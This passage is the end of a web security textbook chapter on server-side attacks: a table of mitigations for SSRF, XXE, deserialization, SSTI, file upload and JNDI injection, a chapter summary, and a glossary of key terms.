SSRF Allowlist permitted URLs/IPs IMDSv2, network segmentation Critical
XXE Disable external entities/DTD Input validation, use JSON Critical
Deserialization Avoid deserializing untrusted data Integrity checks, class allowlists Critical
SSTI Separate data from template code Sandboxed template execution High
File Upload Store outside webroot, rename files Content validation, AV scanning High
JNDI Injection Update Log4j 2.17.1+, disable lookups Restrict outbound connections Critical

22.12 Summary

Server-side attacks represent some of the highest-impact vulnerabilities in modern web applications. Unlike client-side attacks that target individual users, server-side exploitation provides direct access to application infrastructure, internal networks, and sensitive data.

In this chapter, we examined six major categories of server-side attacks. SSRF exploits the server's network position to access internal resources and cloud metadata services. XXE leverages XML parser misconfigurations to read files and perform server-side requests. Insecure deserialization transforms data processing into code execution. SSTI turns template engines into command execution platforms. File upload vulnerabilities allow direct placement of executable code on servers. JNDI injection, epitomized by Log4Shell, demonstrated how logging libraries can become remote code execution vectors.

The common thread across all server-side attacks is the exploitation of trust — trust in internal networks, trust in data format processing, trust in serialized objects, trust in user-provided content. Effective defense requires treating all input as untrusted, regardless of its source, format, or the processing library used.

In the next chapter, we turn to API security testing, examining how the shift toward API-first architectures has created new attack surfaces that traditional web application testing often misses.


Key Terms

Term Definition
Blind SSRF SSRF where the response is not returned to the attacker
DTD Document Type Definition; XML schema that can define entities
Gadget Chain Sequence of existing code fragments chained to achieve exploitation
IMDSv2 AWS Instance Metadata Service v2; requires session tokens to prevent SSRF
JNDI Java Naming and Directory Interface; service lookup API exploited in Log4Shell
Log4Shell CVE-2021-44228; critical RCE in Apache Log4j via JNDI injection
OOB Exfiltration Out-of-Band data extraction via DNS or HTTP callbacks
Polyglot File File valid in multiple formats simultaneously
SSRF Server-Side Request Forgery; making the server send requests to arbitrary destinations
SSTI Server-Side Template Injection; injecting directives into template engines
XXE XML External Entity; exploiting XML parser entity processing
ysoserial Tool for generating Java deserialization exploit payloads

Next Chapter: Chapter 23: API Security Testing